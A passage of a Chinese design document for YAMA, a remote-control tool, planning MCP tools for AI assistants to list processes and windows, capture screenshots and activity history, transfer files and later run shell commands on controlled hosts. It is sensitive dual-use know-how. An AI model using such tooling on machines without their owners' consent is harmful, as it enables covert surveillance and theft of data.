- 影响面:主连接 `OnReceive` 无 V1 `COMMAND_SEND_FILE` 分支,`g_status=1` 只作用于 `RecvFileChunkV2``FileManager`/`ScreenManager` 的成对 Init/Uninit 只是在 1↔2 间震荡,语义不变。
---
## 8. 安全门
| 工具 | 定性 | 门槛 |
|---|---|---|
| `download_file` | 不改远程状态,但**数据外带** | `McpFileTransfer=1`(仅此一开关;**不依赖** `McpReadonly`,与 `list_files`/`get_screenshot` 同权) |
| `upload_file` | **写远程盘** | `McpFileTransfer=1` **且** `McpReadonly=0`(复用既有「允许写」主开关) |
- **只新增一个开关 `McpFileTransfer`(默认 0**download 只看它upload 额外要求 `McpReadonly=0`。决策依据见 §12。
- `tools/list` 据此隐藏两个工具(与 `exec_command`/`terminal_*`/`remote_*` 同款开关判断)。
- 审计:`host_id + tool + remote_path + local_dir + 结果`,写 `Mprintf` + 审计日志。
---
## 9. 改动文件清单
| 文件 | 改动 |
|---|---|
| `server/2015Remote/McpServer.h` | `FileTransferSession` + 注册表 + 8 个接口声明 |
| `server/2015Remote/McpServer.cpp` | `download_file` schema/实现 + 会话状态机 + 路由分支 |
| `server/2015Remote/2015RemoteDlg.cpp` | `MessageHandle``COMMAND_SEND_FILE_V2`(85) / `COMMAND_FILE_COMPLETE_V2`(91) 两处守卫分支 + `TOKEN_DRIVE_LIST``OnDriveList` 扩展;`TOKEN_CONN_AUTH` 不动 |
| `server/2015Remote/McpSettingsDlg.cpp/.h` | `McpFileTransfer` 配置项 |
| P2`server/2015Remote/McpServer.h` | `FileTransferSession.tool``"upload_file"`;新增 `BeginFileUpload(id)`(单设备单传输互斥标记) |
| P2`server/2015Remote/McpServer.cpp` | `upload_file` schema/实现:无头回调 `UploadSendChunkHeadless` + `CollectLocalFiles` 收集 + overwrite 预检(复用 `list_files` 链路)+ 驱动 `FileBatchTransferWorkerV2`(复用主连接,无子连接路由) |
| P2`client/KernelManager.cpp` | `COMMAND_SEND_FILE_V2` 分支加懒初始化 `InitFileUpload``g_status` 由 0 置 1见 §7.8 |
**客户端**`UploadToRemoteV2` / `RecvFileChunkV2` / `FileBatchTransferWorkerV2` 均已存在、未改动;仅 `COMMAND_SEND_FILE_V2` 分支新增懒初始化(见 §7.8)。
---
## 10. 分阶段实施与回滚
- **P1**`download_file` + `McpFileTransfer` 开关 + 路由分支。可独立合入、独立验收真实主机拖回一个目录SHA-256 与 `certutil -hashfile` 比对一致)。
- **P2**`upload_file`§7主连接复用 + 发送方驱动,`MessageHandle` 零改动。可独立合入、独立验收推一个目录到真实主机SHA-256 与源文件 `certutil -hashfile` 比对一致)。
- **P3**(可选):断点续传(需先验证服务端续传状态落盘;文件管理器侧现 `enableResume=false``client/FileManager.cpp:1164`)、大文件进度流式上报。
- **回滚**:改动集中在 `McpServer.*` + `MessageHandle` 三个 `if` 分支revert 当期 commit 即可,不影响既有 GUI 文件管理器。
---
## 11. 测试点
- 单文件 / 目录含中文名、深层嵌套下载SHA-256 与 `certutil -hashfile` 比对一致。
- `overwrite=false` 同名跳过;`local_dir` 不存在自动创建。
- 路径穿越:`remote_path``..` 或 chunk 文件名逃逸 `local_dir` 时被拒。
- 大文件(>2GB超时与断线并发下载同主机返回 `-32003`
- 编码GBK 中文文件名往返无乱码(与 `list_files` 同规则)。
- 断线收尾:传输中客户端掉线 → 会话擦除 + 半成品删除,无句柄/内存泄漏。
- **上传P2**:单文件 / 目录(含中文名、深层嵌套)上传;`remote_dir` 不存在自动创建SHA-256 与源文件 `certutil -hashfile` 比对一致。
- 上传 `overwrite=false` 同名跳过(`skipped` 计数);`overwrite=true` 覆盖。
- 上传 `remote_dir``..` 逃逸被拒;大文件(>2GB超时与断线并发上传/上传-下载同主机返回 `-32003`
- 上传编码GBK 中文文件名往返无乱码。
---
## 12. 决策记录(以「简单易用」为原则)
原则:最少开关、最少认知负担、复用既有机制、不为低频场景预留复杂度;只有威胁模型确实需要时才加复杂度。
### 12.1 download 数据外带 → **不加目录白名单,信任 `McpFileTransfer` + 审计**
- **威胁模型**MCP 默认 `127.0.0.1` + token「数据外带」的实际顾虑是 AI 误操作或提示注入。但一旦开启 `terminal_exec`(全 shell、无白名单外带通道远大于 download目录白名单对已开终端者是冗余防御。
- **一致性**`terminal_*` / `remote_*` 均只有开关 + 审计、无路径白名单;给 download 单独加白名单是特例,增加解释负担。
- **简单**:工具契约保持 `id + remote_path + local_dir`,不引入「允许根目录」概念。
- **逃生舱**:若未来确有需要,复用 `McpCmdWhitelist` 那种**单字符串**配置作可选收紧项,进 P3不进 P1。
### 12.2 大文件模型 → **P1 同步 + 大超时,收窄到单文件/已打包目录**
- MCP 是 request/response为一次性传输引入「提交任务 + 轮询进度 + 任务清理」违背「简单 + 每阶段独立可交付」。
- 核心场景(先压缩成单 zip 再拉回)天然是单文件,同步足够;`get_screenshot` 已先例式地内联返回字节。
- 异步任务模型进 P3且**只在确有超大流式需求时**才做,不预建。
### 12.3 upload 开关 → **单一 `McpFileTransfer`upload 复用 `McpReadonly=0`**
- `download_file` = `McpFileTransfer=1`(不依赖 `McpReadonly`):它只读远程,与 `list_files`/`get_screenshot` 同权readonly 语义本就只拦「改远程」。
- `upload_file` = `McpFileTransfer=1 && McpReadonly=0`upload 改远程,复用既有「允许写」主开关,与 `terminal_*`/`remote_*``X && !Readonly` 模式一致。
- 只新增 **1 个**开关;代价是「不能只开 upload 不开 download」——这是可接受的简化无人有此诉求
---
## 13. 专家审查记录(实施前)
原则优先级:① 对既有功能影响最小 → ② 简单易用 → ③ 优先 V2。逐条核对了 `2015RemoteDlg.cpp``MessageHandle` 分派、`client/FileManager.cpp``SimplePlugins/file_upload.cpp` 的实现,结论如下:
| # | 审查发现 | 结论 |
|---|---|---|
| F1 | 路由机制比草案更简单:`COMMAND_SEND_FILE_V2`(`5842`)/`COMMAND_FILE_COMPLETE_V2`(`6101`) 本就按 `ContextObject->GetClientID()` 分派,流式子连接经 `TOKEN_CONN_AUTH`(`6411 SetID`) 钉住 clientID | **无需 context 路由表**。改为 `device_id` 键 + 两个 case 顶部的 `IsFileTransferPending(devId)` 守卫,`TOKEN_CONN_AUTH` 完全不动 |
| F2 | 一次性 `m_Pending` 与新增文件会话可能并发冲突(同 host 双工具) | `BeginFileTransferPending``m_Pending` **双向互斥**,同 host 全 MCP 工具单飞 |
| F3 | 文件管理器子链接发完 `CMD_DOWN_FILES_V2` 后即无用(数据走新流式子连接) | `OnDriveList` 发完命令即 `CancelIO` 该子链接;客户端 `UploadToRemoteV2` 用独立 `IOCPClient`,不依赖它 |
| F4 | 完成信号是**每文件一个** `COMMAND_FILE_COMPLETE_V2``FileCompletePacketV2.fileIndex` | 会话记 `totalFiles`(首 chunk/`filesDone`complete 计数),`filesDone==totalFiles` 才算 done |
| F5 | `RecvFileChunkV2` 内部直接按 chunk `filename` 落盘 | MCP 在调用**前**校验 `filename` 规范化仍在 `local_dir` 内,逃逸即取消传输 |
| F6 | `RecvFileChunkV2` 需正确 `hash/hmac` | 镜像 `FileManagerDlg.cpp:2755``GetPwdHash()/GetHMAC(100)`;客户端 M2C `hmac` 为空(`FileManager.cpp:1167` |
| F7 | 三处改动均为「加 if 守卫 + 现有逻辑作 else」C2C 分支不动 | 结构性满足原则 #1,对既有 GUI/C2C 零影响 |
**判定**7 项问题均已在正文对应章节修正,无阻塞项,**定稿**。
### 13.1 upload_file 评审记录P2实施前
核对了 `2015RemoteDlg.cpp``SendFilesToClientV2Internal`/`SendFileChunkToClientV2`GUI upload 发送方)、`SimplePlugins/file_upload.cpp``FileBatchTransferWorkerV2`/`RecvFileChunkV2``client/KernelManager.cpp:1381` 的接收分支,结论:
| # | 审查发现 | 结论 |
|---|---|---|
| U1 | 旧稿「服务端等客户端回 `COMMAND_FILE_COMPLETE_V2`」方向写反 | COMPLETE 恒由**发送方**发、接收方 `HandleFileCompleteV2` 校验,无 ACK 回传。upload 服务端是发送方 → **发** COMPLETE不是「等」 |
| U2 | upload 走**主连接**`ctx->Send2Client`),不像 download 要客户端新开鉴权流式子连接 | `MessageHandle` 零改动;无需 `IsFileTransferPending` 路由守卫、无需 `OnFileCompleteV2` 收包计数 |
| U3 | 复用 `FileBatchTransferWorkerV2` 时回调需无头版 | 镜像 GUI `SendFileChunkToClientV2` 去掉 `dlg` 进度,`m_parent->FindHost(clientID)` 定位 ctx离线返回 false 中止 |
| U4 | 完成判定无接收方回执 | `result==0 && FindHost(clientID)!=nullptr`(与 GUI `SendFilesToClientV2Internal` 末尾一致);`output.sha256` 恒为空串,非接收方验真(见 §7.5 |
| U5 | `overwrite=false` 需预知远程同名文件 | 复用 `list_files``COMMAND_LIST_DRIVE→TOKEN_DRIVE_LIST` 预检 `remote_dir`,过滤同名进 `skipped` |
| U6 | 本地文件收集 | `common/file_upload.cpp:38` `ExpandDirectories` 未在 `file_upload.h` 导出,改为 McpServer.cpp 本地 `CollectLocalFiles` 同构实现(目录项在前、子项随后) |
| U7 | 实施验证发现:客户端主连接 `g_status==0``RecvFileChunkV2` 逐 chunk `return -1`(上传落盘 0 字节/截断) | 客户端 `COMMAND_SEND_FILE_V2` 分支加懒初始化§7.8`static` 一次 + 永久引用计数、析构不 `Uninit`;与 `FileManager.cpp:40` 参数一致,独立评审确认无稳定性风险 |
**判定**7 项均已写入 §7 对应小节,无阻塞项,**定稿**。

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# YAMA MCP 功能开发技术书Phase 2 及后续)
> **状态**设计定稿已按两轮评审修订P2a、P2b 已实现并经真实主机验证(`search_hosts` / `get_host_detail` / `list_processes` / `list_windows` / `get_activity_history`P2c 已实现(`get_screenshot` / `list_files`P2d 已实现并验证(`list_services` / `get_client_log`)。
> **读者**MCP 后续功能的研发/评审人员。
> **关联文档**[Mcp_Design.md](./Mcp_Design.md)Phase 1 的协议、架构、配置与菜单设计)。
> **核心目标**:让 MCP 从「单个只读工具」平滑演进为「分阶段、可回滚、影响面可控」的工具集,**不一次性大改现有功能**。
---
## 1. 背景与目标
Phase 1 已跑通 MCP 最小闭环:`httplib` + JSON-RPC 2.0,单工具 `list_online_hosts`,静态 Bearer token经「扩展 → MCP设置」对话框开启。目标是把 YAMA 服务端已有的主机管理能力(进程、窗口、终端、截图、文件等)**逐步**暴露为 MCP 工具,供 Claude Code 等 AI 助手以工具调用方式使用。
本技术书解决三个问题:
1. **做什么**——工具路线图与优先级(只读 → 安全写 → 会话)。
2. **怎么做**——复用现有协议,无头驱动、不弹对话框;**区分「主连接 RPC」与「子链接流式」两种模式**。
3. **怎么稳**——每个阶段独立可交付、可回滚,影响面小、可验收。
---
## 2. 现状回顾Phase 1 已交付)
| 模块 | 文件 | 职责 |
|------|------|------|
| HTTP/JSON-RPC 分发 | `McpServer.h` / `McpServer.cpp` | `POST /mcp`token 校验;`initialize`/`ping`/`tools/list`/`tools/call` |
| 工具序列化复用 | `HostJson.h` / `HostJson.cpp` | `BuildHostJson(ctx, clientMap)`,单主机 JSON与 WebService 共用) |
| 配置对话框 | `McpSettingsDlg.h` / `.cpp` | 运行时构造对话框enable/port/bind/token |
| 生命周期接入 | `2015RemoteDlg.cpp:2136-2162`(启动)、`3900-3906`(停止) | 随主对话框启停 |
| FRP 暴露 | `2015RemoteDlg.cpp:3269-3304` | MCP 端口仅在「启用 + 绑 `0.0.0.0`」时纳入 FRP |
关键结论:**MCP 未引入任何新第三方库**——`httplib`HTTP`jsoncpp`JSON均为项目既有依赖。
当前工具实现只有一个 dispatch 分支(`McpServer.cpp``BuildToolsCall`),新增工具的边际成本很低:**注册 `outputSchema` + 加一个 `tools/call` 分支**。
---
## 3. 设计原则(贯穿所有后续开发)
1. **只读优先,写操作单独评审**:延续 `Mcp_Design.md §1.3`。只读工具直接做;任何「改变被控端状态」的工具(命令执行、杀进程、传文件、控制)必须经安全评审 + 独立授权。
2. **复用现有协议,不新造命令**:一切数据获取/操控都走 `common/commands.h` 里既有的 `COMMAND_*`(服务端→客户端)与 `TOKEN_*`(客户端→服务端),不新增自定义命令。
3. **无头接管复用 Web 终端模式**:对话框只是 UI 外壳MCP 复用 `WebService` 的挂起标记/接管模式,把数据接到 MCP 侧,**不弹框**。
4. **每阶段独立可交付、可回滚**:一个阶段 = 一批工具 + 对应验收;出错可单独 revert不连坐。
5. **超时与清理是硬约束**MCP 是 request/response一次 `tools/call` 不能无限阻塞等数据;必须有超时、迟到回收、用完即关。
6. **输出 schema 先行**:每个工具先在 `tools/list` 里声明完整 `inputSchema`/`outputSchema`AI 客户端据此决定何时调用、如何解析。
---
## 4. 核心机制:无头驱动(双模式)
> **本节是本技术书的关键**。此前设计把「进程/窗口/截图」误当作「子链接」,评审后纠正为:这些是**主连接 request/response**;真正走子链接的只有终端、完整屏幕、文件传输等大流量/持续流能力。两者实现机制不同,必须分开建模。
### 4.1 连接模型:主连接 vs 子链接
`common/commands.h` 定义了完整协议,分两层:
- **主连接**:客户端上线后与主控保持的长连接。承载心跳(`TOKEN_HEARTBEAT`)、命令下发,以及**轻量 request/response**——屏幕预览缩略图(`TOKEN_SCREEN_PREVIEW_RSP`)、历史活动(`TOKEN_REPORT_ACTIVITY`)等。响应以 `TOKEN_*` 回到主连接(捕获点见 §4.2)。
- **子链接**:屏幕、终端、文件传输、**进程/窗口列表**等功能,服务端下 `COMMAND_*` 后客户端**新建一条 TCP 子链接**回连,数据以 `TOKEN_*` 开头,作为一个**新的 `CONTEXT_OBJECT`** 进入分派。其中进程/窗口列表是**一次性子链接**(回一条 `TOKEN_PSLIST`/`TOKEN_WSLIST` 即关,见 §4.2 模式 A终端/屏幕/文件传输则是**持续流子链接**。
两者都由同一个 `MessageHandle(CONTEXT_OBJECT*)` 分派,靠 `ContextObject->GetClientID()` 关联到同一台主机。**判断一个 `TOKEN_*` 属于哪层,看它的数据落在哪个 context 上**
| 证据 | 结论 |
|------|------|
| 客户端 `KernelManager.cpp:1156` `COMMAND_SYSTEM``new IOCPClient` 子链接 + `LoopProcessManager``SystemManager.cpp:75` `GetProcessList()``szBuffer[0]=TOKEN_PSLIST`,经子链接 `Send2Server` 回传 | 进程/窗口列表 = **一次性子链接**(主连接下 `COMMAND_SYSTEM`/`COMMAND_WSLIST`,子连接回 `TOKEN_PSLIST`/`TOKEN_WSLIST` |
| `2015RemoteDlg.cpp:8527-8536``SendScreenPreviewRequest``ctx->Send2Client(...)`;响应 `TOKEN_SCREEN_PREVIEW_RSP``MessageHandle:6173` | 屏幕预览 = **主连接 RPC** |
| `WebService.cpp:1836-1900` + `2015RemoteDlg.cpp:6312-6351``COMMAND_SHELL` → 客户端建 shell 子上下文 → `TOKEN_SHELL_START`/`TOKEN_TERMINAL_START` | 终端 = **子链接** |
### 4.2 模式 A主连接 RPC截图 / 历史活动)
适用于:`get_screenshot`(屏幕预览)、`get_activity_history`(历史活动)。
```
MCP 工具 tools/call
└─► 主 context ctx = FindHost(device_id)
└─► ctx->Send2Client(COMMAND_*) // 主连接发 1 字节命令
客户端处理后在主连接回 TOKEN_*
└─► MessageHandle 收到 TOKEN_*(数据已在 ctx->InDeCompressedBuffer
├─ if (McpServer().IsPending(devId))
│ McpServer().TakeMainResponse(devId, ctx->GetBuffer(0), ctx->GetBufferLength()); // IO 线程同步拷贝
│ break; // 跳过 MFC 弹框(不 CancelIO主连接不可关
└─ 否则走原 MFC 路径(如打开历史活动对话框)
```
要点:
- **无子链接、无 subCtx**:数据就在主 context 缓冲里MCP 只需在 `MessageHandle` 的对应 `TOKEN_*` 分支里**同步拷贝**到结果缓冲,再唤醒等待者。
- **不 CancelIO**:响应落在主连接上,关闭会断开整个主机会话;故拦截后仅 `TakeMainResponse` + `break`,主连接保持。
- **捕获点因工具而异(必须在 IO 线程同步拷贝)**:屏幕预览的 `TOKEN_SCREEN_PREVIEW_RSP` **直接读本消息的 `szBuffer`/`len`**`2015RemoteDlg.cpp:6173-6185` 已在 case 内把 `szBuffer` 拷贝到堆消息再转主线程);历史活动的 `TOKEN_REPORT_ACTIVITY``GetBuffer(0)`= `InDeCompressedBuffer`)。两者都是每 context 单消息缓冲,主连接 recv 循环处理完本条消息后即被覆盖,故拷贝必须发生在 `MessageHandle` 内部IO 线程),不能异步等 UI 线程。
- **请求关联**`get_screenshot``reqId``ScreenPreviewReq.reqId`)可丢弃过期响应;`get_activity_history` **无请求 id**,靠「每 host 单飞行」(见 §4.4)保证正确性。
### 4.2 模式 A一次性子链接进程 / 窗口列表)
适用于:`list_processes``list_windows`。**这是本技术书相对原设计的重要纠正**:进程/窗口列表**不是**主连接 RPC而是一次性子链接——`COMMAND_PSLIST` 在主连接上是空操作(客户端 `KernelManager::OnReceive` 无此 case正确的触发命令是 `COMMAND_SYSTEM`(进程)/`COMMAND_WSLIST`(窗口)。
```
MCP 工具 tools/call
└─► 主 context ctx = FindHost(device_id)
└─► ctx->Send2Client(COMMAND_SYSTEM / COMMAND_WSLIST) // 主连接发 1 字节命令
客户端 KernelManager::OnReceive 收到后新建一条子链接new IOCPClientEnableSubConnAuth
└─► 子链接 ConnectServer 后先发 TOKEN_CONN_AUTH服务端 SetID 把 clientID 钉在子 context 上)
└─► CSystemManager 构造函数立即 Send2Server(TOKEN_PSLIST / TOKEN_WSLIST)
└─► MessageHandle 在【子 context】上收到 TOKEN_PSLIST / TOKEN_WSLISTGetClientID()==主 host id
├─ if (McpServer().IsPending(devId))
│ McpServer().TakeMainResponse(devId, GetBuffer(0), GetBufferLength());
│ ContextObject->CancelIO(); // 用完即关一次性子链接(不关会泄漏)
│ break; // 跳过 WM_OPENSYSTEMDIALOG
└─ 否则 g_2015RemoteDlg->SendMessage(WM_OPENSYSTEMDIALOG, ...) // MFC 路径
```
要点:
- **有子链接、有 subCtx**:数据落在子 context 上,非主 context。子 context 的 `GetClientID()` 已由 `TOKEN_CONN_AUTH``2015RemoteDlg.cpp:6291``SetID`)钉成主连接 clientID`IsPending(devId)` 能与主 context 的 `device_id` 对上。
- **用完即关**MCP 拦截后 `CancelIO()` 关闭子链接(客户端 IOCPClient 以 `exit_while_disconnect=true` 构造,会随断开退出);不关会泄漏子链接。
- **与 MFC 对话框可并存**MCP 与 MFC 对话框**各自使用独立的子链接**(客户端每次 `COMMAND_SYSTEM`/`COMMAND_WSLIST` 都新建一条因此两者互不阻塞——MCP 的一次性调用不会导致 MFC 无法查看进程/窗口,反之亦然。无请求 id 的串扰靠「每 host 单飞行」§4.4)规避,而非「与 MFC 对话框互斥」。
- **编码**:进程名/路径按 clientType 判定Windows=GBK/936、LNX/MAC=UTF-8进程枚举走 A 接口不随 `CLIENT_CAP_UTF8` 转 UTF-8窗口标题为客户端 UTF-8按能力位 `CLIENT_CAP_UTF8` 判别,老客户端回落 CP936
- **请求关联**:无请求 id → 每 host 单飞行§4.4)。
- **文件列举也走 A`list_files`**:列盘与进程/窗口同构(`COMMAND_LIST_DRIVE`→一次性子链接→`TOKEN_DRIVE_LIST` 即关);列目录则在此一次性子链接上**多一轮** `COMMAND_LIST_FILES``TOKEN_FILE_LIST` 后再关。故 `list_files` 归入模式 A而非原设计的模式 A详见 §6.3)。
> **模式 A0主连接单向命令无响应**`kill_process``COMMAND_KILLPROCESS`)、`send_message``COMMAND_TALK`)这类「发完即走」的命令没有 MCP 需要的响应数据,**不需要** §4.4 的挂起注册表/超时/单飞行——`Send2Client` 后直接返回成功。它是模式 A 的退化情形,实现最简单。
### 4.3 模式 B子链接流式终端 / 完整屏幕 / 完整文件)
适用于:`exec_command`(终端),以及未来的实时远程桌面、完整文件传输。
```
MCP 工具 tools/call
└─► 登记挂起请求 m_Pending[device_id](标记 mode=B
└─► ctx = FindHost(device_id); ctx->Send2Client(COMMAND_SHELL) // 主连接下命令
客户端建 shell 子链接
└─► MessageHandle 收到 TOKEN_SHELL_START / TOKEN_TERMINAL_START
├─ if (McpServer().IsPending(devId))
│ McpServer().TakeSubContext(devId, ContextObject); // 接管子上下文
│ break; // 跳过弹框
└─ 否则弹 WM_OPENSHELLDIALOG
后续 shell 输出
└─► MessageHandle 顶部 IsTerminalContext 分支 → McpServer().OnShellData(...) 泵数据
```
完全复刻 `WebService``IsTermPending`/`RegisterTerminalContext`/`OnTerminalData` 模式(`WebService.h:283-287`),但**不复用其长会话状态**——MCP 是「一次性:建链 → 收发 → 关链」。
### 4.4 统一挂起请求注册表
模式 A主连接 RPC与模式 A一次性子链接共用一个按 `device_id`= `context::GetClientID()`)索引的注册表。**当前实现P2b只覆盖 A/A 两种「一次性响应」**,故结构里只有 `data` + `done`,无需 `mode`/`subCtx`/`timedOut`;未来 P3a 的 `exec_command`(模式 B 流式)再扩展 `subCtx` 字段。
```cpp
struct PendingRequest {
std::string tool;
std::vector<BYTE> data; // 结果缓冲MessageHandle 内同步拷贝的字节)
bool done = false;
};
std::mutex m_PendingMutex;
std::condition_variable m_PendingCv;
std::map<uint64_t, PendingRequest> m_Pending; // 受 m_PendingMutex 保护
```
暴露给 `MessageHandle` 的钩子:
- `bool IsPending(uint64_t device_id)` —— 该 `TOKEN_*` 是否为 MCP 触发。
- `void TakeMainResponse(uint64_t device_id, const BYTE* data, ULONG len)` —— 模式 A/A拷贝缓冲、`done=true`、唤醒 `cv`(在 IO 线程阻塞期间同步调用,拷贝安全)。
工具线程侧的方法:
- `bool BeginPending(uint64_t device_id, const std::string& tool)` —— 登记挂起(`false` = 该 host 已有挂起,返回「设备忙」)。
- `bool WaitPending(uint64_t device_id, std::vector<BYTE>& out, int timeoutMs)` —— 等待响应(超时/失败自动清理并返回 `false`)。
- `void ClearPending(uint64_t device_id)` —— 提前退出路径的清理。
**每 host 单飞行**:同一 `device_id` 同一时刻只允许一个挂起请求。这是「无请求 id」工具的正确性前提——进程/窗口/历史活动响应都不带请求 id若同 host 并发两个请求,无法区分响应归属,故并发第二个请求返回「设备忙」(`-32003`)而非串扰。
> 说明单飞行只约束「MCP 侧同 host 并发」,**不**约束「MCP 与 MFC 对话框并存」——二者各用独立子链接(模式 A或各自触发模式 A互不占位。详见 §4.2′。
### 4.5 超时与清理MCP 与 Web 的关键差异)
Web 是长连接子链接可长驻MCP 是**一次性 request/response**。因此:
- **超时**`wait_for(timeout)` 等数据;当前 P2b 用编译期常量 `kMcpToolTimeoutMs = 20000`(暂未接配置,见 §9。超时返回 JSON-RPC 错误(`-32001`),并清理注册表。
- **迟到回收(已知边界)**:数据在超时后才到达(`IsPending` 已清)时,拦截分支不成立,响应会**回落到原 MFC 路径**(进程/窗口弹 `WM_OPENSYSTEMDIALOG`,历史活动弹对话框)——属「客户端在 20s 内未响应」这一病态场景的罕见副作用,不会串扰或崩溃。正常路径(<1s 内响应)不受影响。若未来要彻底消除,可给注册表加「超时墓碑 + 宽限期丢弃」。
- **用完即关**:模式 A进程/窗口)拦截后 `CancelIO()` 关一次性子链接;模式 A主连接 RPC不关主连接。未来模式 B终端收集完 stdout 后主动关子上下文。
- **阻塞 httplib worker**`wait_for` 会阻塞 `HandleMcp` 所在的 httplib worker 线程。httplib 默认线程池约 8 线程,阻塞一个 2030s 会占住一个 worker。MCP 属低频串行调用AI 逐条调用),**本阶段可接受**;但需在 §12 显式声明,若未来需并发改用「提交任务 + 轮询结果」的异步模型。
---
## 5. 工具路线图(分阶段)
### 5.1 工具总表
> 「模式」标注实现路径A=主连接 RPCA=一次性子链接A0=主连接单向命令[无响应]B=子链接流式,—=纯内存)。
| 阶段 | 工具 | 功能 | 复用协议/函数 | 模式 | 风险 |
|------|------|------|---------------|------|------|
| P1已交付 | `list_online_hosts` | 在线主机列表 | `BuildHostJson` | — | 只读 |
| P2a已实现并验证 | `search_hosts` | 按名称/IP/分组/OS/在线态过滤 | `list_online_hosts` 内存过滤 | — | 只读 |
| P2a已实现并验证 | `get_host_detail` | 单机详情(不含活动历史) | 现成 device 字段(`BuildHostJson` | — | 只读 |
| P2b已实现并验证 | `list_processes` | 主机进程列表 | `COMMAND_SYSTEM`→(子链接)`TOKEN_PSLIST` | **A** | 只读 |
| P2b已实现并验证 | `list_windows` | 主机窗口列表 | `COMMAND_WSLIST`→(子链接)`TOKEN_WSLIST` | **A** | 只读 |
| P2b已实现并验证 | `get_activity_history` | 单机历史活动(文本快照) | `COMMAND_QUERY_ACTIVITY`(159)→`TOKEN_REPORT_ACTIVITY`(160) | **A** | 只读 |
| P2c已实现 | `get_screenshot` | 单帧屏幕截图JPEG | `COMMAND_SCREEN_PREVIEW_REQ``TOKEN_SCREEN_PREVIEW_RSP` | **A** | 只读 |
| P2c已实现 | `list_files` | 目录列举 | `COMMAND_LIST_DRIVE``TOKEN_DRIVE_LIST`(列盘)/ 同子链接再 `COMMAND_LIST_FILES``TOKEN_FILE_LIST`(列目录) | **A** | 只读 |
| P2d已实现 | `list_services` | Windows 服务列表 | `COMMAND_SERVICES`(218)→(子链接)`TOKEN_SERVERLIST` | **A** | 只读 |
| P2d已实现 | `get_client_log` | 客户端运行日志快照 | `COMMAND_QUERY_LOG`(155)→(子链接)`TOKEN_REPORT_LOG`(156) | **A** | 只读 |
| P3 | `exec_command` | 执行命令、返回 stdout | `COMMAND_SHELL``TOKEN_SHELL_START`/`TOKEN_SHELL_DATA` | **B** | **写** |
| P3 | `send_message` | 给被控端弹消息 | `COMMAND_TALK`(220) | **A0** | 写(低危) |
| P3 | `kill_process` | 结束进程 | `COMMAND_KILLPROCESS` | **A0** | **写** |
| P4暂缓 | 实时远程桌面 / 交互终端 | 持续流 | 屏幕/终端子链接 + SSE/轮询 | **B** | 需会话模型 |
### 5.2 Phase 2只读观测低风险无写操作
全部只读不改变被控端任何状态token 模型不变(仍单一静态 token。P2a 纯内存、零改动P2b/P2c/P2d 引入模式 A/A 无头接管,但只读、可回滚。
### 5.3 Phase 3安全写操作需单独评审
进入 `Mcp_Design.md §1.3` 明确划出的「写操作」区。每个工具交付前需评审三点(见 §8命令白名单、审计日志、**分组授权 + token 分级**。
### 5.4 Phase 4会话/流式(暂缓)
实时远程桌面、交互终端等需要「持续流」的能力,与当前 request/response 模型不匹配。需先决定传输方案SSE / 提交任务 + 轮询),本期**不做**,避免过早引入复杂会话状态。
---
## 6. 分阶段实施计划
> 每期都给出:改动文件、接口、测试点、回滚方式。原则是**每期可独立合入、独立验收、独立回滚**。
### 6.1 P2a`search_hosts` + `get_host_detail`(纯内存,零子链接)✅ 已实现并验证
**改动**:仅 `McpServer.cpp`
- `BuildToolsListResult` 增两个工具描述 + schema。
- `BuildToolsCall` 增两个分支,复用 `list_online_hosts` 已遍历出的主机数据做内存过滤/单机抽取(抽出 `CollectOnlineHosts` 收集 + `BuildHostItemSchema` 复用)。
- 无任何 `MessageHandle`/`WebService`/`context` 改动。
**影响面**:极小,只加不改。**回滚**revert 单文件即可。
**验收**`tools/list` 返回 3 个工具;`tools/call search_hosts` 按 filter 正确过滤;`get_host_detail` 对在线主机返回正确字段、对离线/非法 id 返回明确错误。
> **范围修正**:原计划 `get_host_detail` 附带「活动历史」,但活动历史是 `COMMAND_QUERY_ACTIVITY`(159)→`TOKEN_REPORT_ACTIVITY`(160) 的**主连接往返**(客户端上报、服务端不落库),非纯内存字段,违反 P2a「纯内存」约束。故 P2a 的 `get_host_detail` 只返回主机实时字段,活动历史单列为 P2b 的 `get_activity_history`(模式 A
### 6.2 P2b`list_processes` + `list_windows` + `get_activity_history`(模式 A / 模式 A首次无头接管✅ 已实现并验证
> 本节已按实际实现修订:进程/窗口是**一次性子链接**(模式 A历史活动是**主连接 RPC**(模式 A见 §4.2/§4.2′。
**改动**
- `McpServer.h/.cpp`
- 加 §4.4 的 `m_Pending` 注册表 + `IsPending`/`TakeMainResponse`/`BeginPending`/`WaitPending`/`ClearPending`,每 host 单飞行检查。
- 加解析器 `ParseProcessList`PID/name/arch/path按 clientType 编码转 UTF-8`ParseWindowList`hwnd/title/status/pid标题按能力位解码两者都用 `BoundedStrlen` 有界读 + 「空记录 = 尾部零填充」终止,规避客户端 `LocalSize` 对齐引入的尾部零字节。
- 加三个工具:`list_processes`(发 `COMMAND_SYSTEM`)、`list_windows`(发 `COMMAND_WSLIST`)、`get_activity_history`(发 `COMMAND_QUERY_ACTIVITY`)。
- `2015RemoteDlg.cpp``MessageHandle`
- `TOKEN_PSLIST`/`TOKEN_WSLIST` 分支(子 context`if (McpServer().IsPending(devId)) { TakeMainResponse(devId, GetBuffer(0), GetBufferLength()); ContextObject->CancelIO(); break; }`**在 UI 线程、IO 线程阻塞期间同步拷贝**;用完即关子链接)。
- `TOKEN_REPORT_ACTIVITY` 分支(主 context`if (McpServer().IsPending(devId)) { TakeMainResponse(...); break; }`**不 CancelIO**,主连接不可关)。
**影响面**`MessageHandle` 只新增 `if` 分支,不影响现有 MFC 弹框路径(非 MCP 触发时 `IsPending` 为假,行为不变)。
**验收**
- MFC 双击进程/窗口管理弹框仍正常回归点MFC 历史活动对话框仍正常(回归点)。
- MCP `list_processes` 返回 `[{pid,name,arch,path}]``list_windows` 返回 `[{hwnd,title,status,pid}]``get_activity_history` 返回 `{records:[...], activityHistory}`UTF-8 文本,逐行拆记录)。
- 超时(如对离线主机)返回 `-32001` 而非挂死;同 host 并发第二次调用返回 `-32003`「设备忙」;发送失败返回 `-32004`
- 中文进程名/窗口标题无乱码(进程名按 clientType 解码、窗口标题按能力位 UTF-8
**验证记录**2026-08-19真实在线主机实测
- `list_processes`Windows 11 主机):`pid`/`name`/`arch`/`path` 完整;`pid==0` 仅 1 条(合法 `[System Process]`无尾部零填充空记录——padding 防护生效。
- `list_windows``hwnd`/`title`/`status`/`pid` 完整,无空标题记录;中文标题(「搭建 MCP 架构…」「微信」UTF-8 正确。
- `get_activity_history`:返回 `[时间] [标题] 时长` 记录UTF-8 正确。
- 错误路径实测:缺 `id``-32602`;非数字 `id``-32602`;未知/离线主机 → `-32002`;错误 token → HTTP 401。
